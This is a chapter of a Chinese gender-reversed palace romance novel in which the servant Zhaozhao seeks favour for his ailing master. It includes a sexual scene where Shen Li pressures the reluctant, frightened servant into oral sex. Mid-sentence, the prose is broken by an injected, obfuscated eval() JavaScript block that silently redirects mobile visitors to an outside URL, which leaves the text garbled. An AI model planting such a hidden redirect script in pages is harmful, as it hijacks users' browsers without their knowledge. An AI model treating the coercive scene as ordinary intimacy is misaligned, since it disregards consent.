梧桐树长出了新叶,春风绽放了海棠花,天气一日日变暖,在这个风和日丽,草长莺飞的春日,他们依偎在小床上,听着外面黄鹂莺声,度过一个宁静闲适的午后。
沈俪指节在他后颈摩挲,像是在撸一个听话的猫儿,“怎么闷闷的,不高兴?”
他只着一件春衫,钗环未戴,头枕在她大腿上,缎子一般顺滑的青丝铺在身后,恹恹道,“主子这几日病了。”
“谁?”沈俪一时没反应过来。
“我主子,高公子啊。”昭昭狐疑的抬眸。
“哦,”沈俪继续摸那白皙修长的后颈,道,“病了请太医呗,这是什么大不了的事吗?”
“你不懂。”昭昭恹恹的开口,“请过太医来看了一次了,囫囵开了个药方就走了,吃了小半个月还是咳,后来暮暮又去请,都推三阻四的,拿之前的药方搪塞。”
脖颈上摸他的手没停,却也没听见她说话。他自顾说道,“俪王殿下也从来没来看看。”昭昭扭头瞥了头上的人一眼,不咸不淡的道,“你们女人都一个样,一个个薄情寡性,说把人丢开就把人丢开了。”
“……”
“哼!”昭昭见她呆住了,傲娇的转过头,盯着床幔的飘絮,不轻不重的哼了一声。
第一次看她吃瘪,竟然有点解气。
下巴却立刻落入人手中,脸被扭过来,对上她那漆黑慵懒的眸子,“长本事了,没大没小!”
是有点放肆了,“知道了。”昭昭小声道,过了忽然想起什么,转头问她,“你不是天天在俪王面前当差吗?有没有什么法子能让她多顾惜顾惜我们公子,或者是,你知不知道俪王殿下喜欢什么样的男人,怎么才能讨她欢心啊?”
“……”这,还真叫他问对人了。
“有没有嘛?”昭昭抱着她的手轻轻的晃。
沈俪看着他卖乖的样子,道,“你还从来没有找我办过什么事情,要过什么东西,头一遭开口,就为你家公子?”
“你平日送我的东西已经够多的了,你对我那么好,我什么也不缺。”昭昭甜甜的笑,“你也说了,这是我头一回找你张口,你帮帮人家呗。”
文津阁内半年的娇养,眼前的人已经有了极大的变化,从肌肤内里透出来的红润气色,原本带着略带蜡色的脸如今面若挑花,眉眼顾盼生辉,已经到了可以享用的时候了。沈俪漆黑的眸子里堆起一丝玩味的笑意,“也不是不行,不过,求人办事要有求人姿态。”
昭昭一听有戏,瞬间来精神了,“什么姿态?”从她腿上爬起来,在床上端端正正的跪好,笑嘻嘻的道,“这样行不行,这个姿态端正吧,求你了……”
“滚……”沈俪第一次对他这么无语。
昭昭膝行着凑过去,拿脸蹭她的肩头,像一只小狗,“帮帮忙嘛,求求你了。”
沈俪捏住他的下巴,笑着道,“你侍奉的好,这事我就帮你办了。”
昭昭玉面烦红,期期艾艾的问,“怎,怎么才算好?”
捏着他下巴的拇指指腹抚上了他的唇瓣,时轻时重的碾压,将两瓣唇压出各种可怜的形状来,然后说,“用这个如何?”
昭昭瞬间明白了她的意思,以前的他也是不懂的,但是后面遇到了沈俪,老是被她摆弄,渐渐明白了一些。至于用嘴巴,是有一回和暮暮一块看画本子,暮暮浑说的。当时他们都觉得太臊人了,那得多叫人难为情。昭昭面上爆红,心跳如雷鼓,想逃,“不,不要,我不会。”
说的是不会,不是不懂,沈俪便知这其中不简单,“我亲自教你,一定让你学以致用。”
他本能的有些害怕,“还是算了吧,我不找你帮忙了。”
“这会你说了不算了。”她另一只手不知什么时候已经探入他的下裳,“或者你选一下,要么用你这个玩意儿?”
她在头上攥了一把,“唔……”昭昭魂都要飞出去了。
他轻轻喘着气息,两相比较,他还是更想留着贞操。
他慢慢俯下身去,任由女人的手搭在他头上,他的头发早就散了,青丝铺了一背。因为埋头的缘故,几缕头发滑了下来,挡住了脸颊。沈俪看不见她的脸,拿手将他的秀发全部拨弄到一边,蜿蜒在床上,露出纤长的脖颈和半边红透了的面颊。
沈俪对眼前的这一幕很满意,捏了捏他的脖颈,“继续!”
昭昭说不会是真的不会,沈俪说教他也是真的教他。当她不疾不徐抚摸着他的脑袋和后颈的时候,就是他做的很对。当头被轻摁,那就是鼓舞。
-------------------------------------
昭昭取了清茶漱口,将水吐在月季花盆里,之后便背对着床坐下,实在不想面对这个恶劣的女人。
结实的小臂随即缠上他的腰肢,整个后背陷入灼热的怀抱,昭昭不自觉的勾起唇角,“讨厌!”
“哈哈。”沈俪轻笑一声,捏着他腰上的软肉,道,“羞什么,这是教你本领,以后你还会感谢我呢。”
谁要学这样的本领,而且明明享受的是她,她还要自己谢她,真无耻。昭昭轻轻挣动,“呸,你无耻。”
好久没人敢这样骂她了,沈俪笑了笑。
“那你之前答应我的事呢。”昭昭转过去,对上她的眸子,琥珀色的眼睛里露出‘凶巴巴’的神色,“你要是骗我我再也不理你了。”
“你倒是忠心,他就那么好,让你牵肠挂肚的?”
“你不知道,高公子是一个很好的人,对我也很好。”昭昭依偎进她怀里,“而且主子过的不好,我这个当奴才的能好到那里去呢,都是一根藤上的蚂蚱。”
“行吧。”
“你快说,你刚刚可是答应了的。”
沈俪稍加思索,“俪王殿下呀……这几日折子多,为开恩科缺银子的事情正发愁上火呢。”
“王女也会缺银子吗?国库里不都是银子吗?”昭昭愣愣的看着她。
“嘿!”沈俪无语的看着他,道,“你以为国库的银子哪里来的?要么对内征缴赋税,要么对外兴兵掠夺。赋税太重百姓怎么活?但是用钱的地方又多,养军队要花钱,科举要花钱,各地的水灾、旱灾、蝗灾、哎……历朝历代,哪有不为银子烦心的。”
“额……”他听的迷迷糊糊的,但感觉她好厉害。“那,这些事情我家公子也帮不上忙啊。”总不能拿银子出来吧,就是把首饰啥的都拿出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995221|193076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,能有多少。
我真是疯了,为什么要给一个男人说这些。
“自己悟!”沈俪没好气。
“哎呀,你救人救到底,送佛送到西嘛。”
“走了,还要公务。”
讨厌!昭昭拉住她的手不放,还是我自己问吧,“俪王喜欢什么颜色的衣裳?”
“月牙白。”
“喜欢吃什么菜系?不不,什么菜,喜欢吃什么菜?”
“炙羊肉。”
“嘻嘻,好巧。”昭昭笑道,“你也喜欢炙羊肉呢。”“那俪王喜欢什么性格的男人?不过我们公子性子可好了,这个应该没什么问题。”
太唯唯诺诺了!像个木头,无趣的很,不过沈俪也没驳他,“还有问题吗?”
“最后一个,最后一个。”昭昭攥紧她的手生怕她跑了,“喝什么茶,吃什么果子?”
“不爱吃果子,这几天火气大,岁寒三友都可以。”
“好啦好啦知道啦,你去忙吧,快去忙吧。”
-------------------------------------
西暖阁。
月微站在镜子前,秀眉轻拧,“这样会不会太素了,而且我这大病初愈,瘦了许多,脸色也白,还穿这么素的衣裳会不会不好。”
昭昭忙着替他系侧腰的带子,道,“公子,您就放心吧,不都说,‘要想俏,一身孝’嘛?再说您这刚大病初愈,正巧有几分病美人的气质,配这白衣,有种弱不胜衣的感觉,王主见了岂不怜惜。”
月微往镜子里一瞧,觉得他说的有几分道理,犹豫片刻才道,“那就听你的吧。”
昭昭也满意的欣赏着自己的杰作,道,“您去岁下雪的时候不是收了一些松针存着吗?不如今晚奉给王主尝尝。”
“不好吧。”月微迟疑道,“王主面前是有规矩的,而且王主她日常爱喝六安茶。”
“王主受不受的这也是您一片心意呀,您得要让王主知道,你心里是记挂她的,否则,您日日在西暖阁寂寥,苦闷,王主又怎么能知道呢?再一个,王主之前不也经常赏赐您东西吗,您这也算是礼尚往来呀。”
“王主天潢贵胄,富有天下,那么普通的松针茶也能算礼尚往来吗?”
昭昭见他眼中明明已经松动,却还是犹犹豫豫没有勇气,又给他下了一剂强心剂,“再好的六安茶喝久了也会腻,公子不试试,怎么知道什么结果呢?而且听说礼部已经择定了吉期,下月初王主就要移居俪王府,紧接着侧君们就要进府了。公子老是不争不抢,默默无闻,会受委屈的。”
“好……”
送走了月微,昭昭站在院子里梧桐树下,对着天上的圆月祈祷,‘求求各路菩萨保佑,保佑我主子恩宠不衰,早日晋位,最好今夜就怀喜,一举得女,这样我们西暖阁就再也不用担惊受怕了。’
说罢他还虔诚的朝着东南方拜了拜,才到廊下坐着,吹着春日的夜风,耳边是梧桐叶子被吹动的沙沙声。思绪慢慢飘空,想起了自己刚刚劝月微礼尚往来的话。
沈俪也送了他很多东西诶,但他也从来没有回过礼。
是不是也该送点什么给她呢?